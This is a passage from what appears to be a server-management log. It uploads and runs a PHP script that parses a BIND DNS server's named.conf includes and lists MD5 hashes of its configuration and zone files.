MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-21 19:10:55: Establishing a connection
2026-04-21 19:10:55: 

PUT: /tmp/pkp410300

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-21 19:10:56: 

runuser -l bind -s /bin/bash -c '/tmp/pkp410300; rm /tmp/pkp410300'

2026-04-21 19:10:56: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
